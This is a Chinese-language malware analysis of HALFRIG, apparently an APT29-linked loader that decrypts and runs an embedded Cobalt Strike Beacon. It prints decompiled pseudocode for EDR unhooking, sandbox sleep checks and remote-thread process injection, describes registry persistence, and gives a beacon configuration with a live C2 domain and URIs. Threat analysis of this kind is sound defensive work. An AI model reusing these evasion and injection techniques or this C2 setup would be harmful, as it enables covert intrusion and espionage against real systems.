HALFRIG样本分析

admin 2023年5月30日19:15:29评论50 views字数 5340阅读17分48秒阅读模式

综述

HALFRIG是CobaltStrike Beacon的一个传播下载器,用于间谍活动,与公开描述的与APT291的活动显著重叠。HALFRIG与QUARTERRIG有明显的代码重叠,很有可能是由同一个团队开发的。

HALFRIG不从C2下载CobaltStrike Beacon。相反,它解密并执行嵌入的shellcode。HALFRIG唯一值得注意的特性(对于关联到此活动集群的恶意软件来说也是一个新特性)是将执行拆分为多个线程和模块。

HALFRIG于2023年2月初首次被观测到。虽然它被用来促进与SNOWYAMBER相同类型的访问,并且在与SNOWYAMBER相同的时间范围内,但HALFRIG的目标更具选择性

ENVYSCOUT提供的ISO文件包含几个文件,一个可执行文件和四个DLL文件。DLL文件是隐藏的。可执行文件是重命名的WINWORD.EXE二进制文件。可执行程序本身并不是恶意的,只是作为加载和执行HALFRIG后门程序第一阶段的一种手段。可执行文件被重命名以模仿Word文档。为了隐藏.exe扩展名,文件名使用大量空格字符。同样的执行技术将在稍后的QUARTERRIG中看到使用。

HALFRIG样本分析

所有模块的文件时间戳看起来都是真的,因为它们与PE/COFF元数据和恶意软件分发时间相匹配。

HALFRIG是一个简单但严重混淆的阶段。它是用C编写的,并使用WINAPI来促进大多数功能。执行链被分成4个DLL文件,每个DLL文件负责整体功能的一小部分。除了混淆(没找到任何开源的工具关联),HALFRIG还结合了OPSEC技术来解除EDR,验证它是否按预期启动(从Note.exe),以及sleep API调用是否被模拟或跳过(沙箱环境)。除了将工具拆分为多个dll之外,HALFRIG的另一个独特特征是大量使用多线程执行。生成新线程不是为了并行执行或数据处理,而是作为一种反分析或混淆技术。

样本分析

Note.exe

这个二进制文件是一个签名的,未修改的WINWORD.EXE可执行文件。比较修改后的Note.exe与Office365套件中的WINWORD.EXE可执行文件如下:

HALFRIG样本分析

攻击者使用导入AppvIsvSubsystems64.dll来让HALFRIG后续阶段执行。模块的执行过程:

Note.exe -> AppvIsvSubsystems64.dll -> msword.dll(OPSEC) -> envsrv.dll(持久化) -> mshost.dll(shellcode启动器) -> cs

AppvIsvSubsystems64.dll

通过重命名WINWORD.EXE加载和执行的第一个DLL是AppvIsvSubsystems64.dll。这个DLL只是生成一个新的线程来解析api并加载下一个模块。

HALFRIG样本分析

新线程解析所需的api,加载并执行下一阶段:

HALFRIG样本分析

所有的HALFRIG dll使用相同的混淆技术:

在执行过程中对字符串进行加密和解密。明文字符串在使用后不会被重新加密或删除。

     •为了方便动态API解析,HALFRIG采用了存储模块和功能信息的自定义结构

struct struct_Module { void *m_pModule; // 执行模块地址 char_t *m_szModuleName; // 模块名称 char_t *m_aszAPINames[]; //执行API名称的地址指针 };
struct_Module Modules[NumberOfDLLsRequired]; // 结构体数组,执行所需模块

msword.dll

该模块进行OPSEC检查(解除挂钩,检查sleep()仿真,检查进程树)。

该模块包含大量内联字符串解密例程。下面的清单显示了AppvIsvSubsystems64.dll调用的msword.dll get导出的(大量)解密代码:

__int64 get(){// pUnhookedAPIs = getAPIs(&UnhookedAPIs);pProcessModules = &UnhookedAPIs.K32EnumProcessModules();
// 参考 OPSEC// Iterate over all loaded modules, unmap and remap each one to unhook AVs/EDRs.uModuleCount = 53;do { pModule = *pProcessModules; unhook(UnhookedAPIs, &pModule); ++pProcessModules; --uModuleCount; } while ( uModuleCount );
CloseHandle = GetProcAddress(&UnhookedAPIs, UnhookedAPIs.CloseHandle); CloseHandle(hThread);
// Check if Sleep is emulated/patched to speed up wait time InitializeKernel32ExportList(&pKernel32Module); GetTickCount = GetProcAddress(&pKernel32Module, pKernel32Module.GetTickCount); uTicks = GetTickCount(); Sleep = GetProcAddress(&pKernel32Module, pKernel32Module.Sleep); Sleep(1000); GetTickCount = GetProcAddress(&pKernel32Module, pKernel32Module.GetTickCount); if ( GetTickCount() - uTicks < 1000 ) return 1;
// Get unhooked APIs pUnhookedAPIs = InitializeKernel32ExportList(&UnhookedAPIs);
// Check if DLL was executed by Note.exe or rundll32.exe szSystem32Path = DecryptString(szencSystem32Path); if ( !CheckFileName(&pKernel32Module, *szSystem32Path) ) return 1;
// Stard main routine CreateThread = GetProcAddress(&pKernel32Module, szCreateThread); hThread = CreateThread(0, 0, InjectThead, 0, 0, &v57);
// Wait for new theread to finish execution WaitForSingleObject = GetProcAddress(&pKernel32Module, szWaitForSingleObject); WaitForSingleObject(hThread, 300000); GetCurrentProcess = GetProcAddress(&pKernel32Module, szGetCurrentProcess);
// Cleanup hProcess = GetCurrentProcess(); TerminateProcess = GetProcAddress(&pKernel32Module, szTerminateProcess); TerminateProcess(hProcess, 0);
return 0; }

如果OPSEC检查通过,则生成一个新线程。新线程再次执行相同的opsec相关代码块(初始化api,unhook模块,检查sleep,检查正确的父名称),如果所有检查都通过,加载并注入下一个阶段到一个随机选择的进程中。

__int64 InjectThread(){// 整体的结构ResolveAPIs();UnhookDLLs();CheckForSleepEmulation();InitializeCleanAPIs();CheckIfLaunchedFromNoteExe();InjectIntoSelectedProcess(); return 0;}

注入下一阶段(envsrv.dll)的进程是从预定义的硬编码列表中随机选择的,该列表包含以下名称:RunTimeBroker.exe, Svchost.exe, TaskHostW.exe, IpfHelper.exe, SecurityHealthService.exe, ApplicationFrameHost.exe

然后是司空见惯的调用链:

1.OpenProcess2.VirtualAllocEx3.WriteProcessMemory4.CreateRemoteThread

envsrv.dll

dll有一个导出(名为unify, ord #2)。它严格遵循先前建立的模式,重用完全相同的代码块。下面的清单给出了一个简化的代码流,在注册表中实现持久化:

1. __int64 unify()2. {3. // Reused code blocks have been simplified4. ResolveAPIs();5. UnhookDLLs();6. CheckForSleepEmulation();7. InitializeCleanAPIs();8. CreateNewThread(pPersistenceThread);9. // Wait for new thread to finish execution10. WaitForSingleObject();11. return 0;12. }

PersistenceThread验证是否设置了持久性,如果没有,则创建一个目录并将ISO文件的内容复制到硬编码目录中。它还创建一个注册表项,以便在重新启动后启动恶意软件。下面的截图显示了持久性注册表项以及恶意软件复制其文件和启动的可执行文件的路径:

HALFRIG样本分析

在验证/建立持久性之后,恶意软件继续加载下一阶段:mschost.dll。

mschost.dll

HALFRIG的最后一个模块用于启动Cobalt Strike beacon。DLL只导出一个函数-create。Create使用与前面模块完全相同的模式。

HALFRIG样本分析

生成的新线程负责为shellcode分配内存,解密它,并执行CobaltStrike信标shellcode。新线程以与之前线程相同的模式启动。

然后分配内存,解密shellcode,并将内存权限更改为RWX来执行shellcode:

HALFRIG样本分析

beacon 配置信息:

{"BeaconType": ["HTTPS"],"Port": 443,"SleepTime": 60000,"MaxGetSize": 1398102,"Jitter": 18,"C2Server": "communitypowersports.com,/owa/L7k2NQpwPNLq4C2dHD6TRv00GCH1axhaWv", "HttpPostUri": "/owa/o9besAWTTVJKNeyrfOOy2tn-epXE7f", "Malleable_C2_Instructions": [ "Base64 URL-safe decode" ], "HttpGet_Verb": "GET", "HttpPost_Verb": "POST", "HttpPostChunk": 0, "Spawnto_x86": "%windir%\syswow64\powercfg.exe", "Spawnto_x64": "%windir%\sysnative\powercfg.exe", "CryptoScheme": 0, "Proxy_Behavior": "Use IE settings", "Watermark": 1359593325, "bStageCleanup": "True", "bCFGCaution": "False", "KillDate": 0, "bProcInject_StartRWX": "True", "bProcInject_UseRWX": "False", "bProcInject_MinAllocSize": 56642, "ProcInject_PrependAppend_x86": [ "kJCQkJCQkJCQ", "Empty" ], "ProcInject_PrependAppend_x64": [ "kJCQkJCQkJCQ", "Empty" ], "ProcInject_Execute": [ "ntdll.dll:RtlUserThreadStart", "NtQueueApcThread-s", "SetThreadContext", "CreateRemoteThread", "kernel32.dll:LoadLibraryA", "RtlCreateUserThread" ], "ProcInject_AllocationMethod": "VirtualAllocEx", "bUsesCookies": "True", "HostHeader": "" }


原文始发于微信公众号(TIPFactory情报工厂):HALFRIG样本分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年5月30日19:15:29
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   HALFRIG样本分析http://cn-sec.com/archives/1763710.html

发表评论

匿名网友 填写信息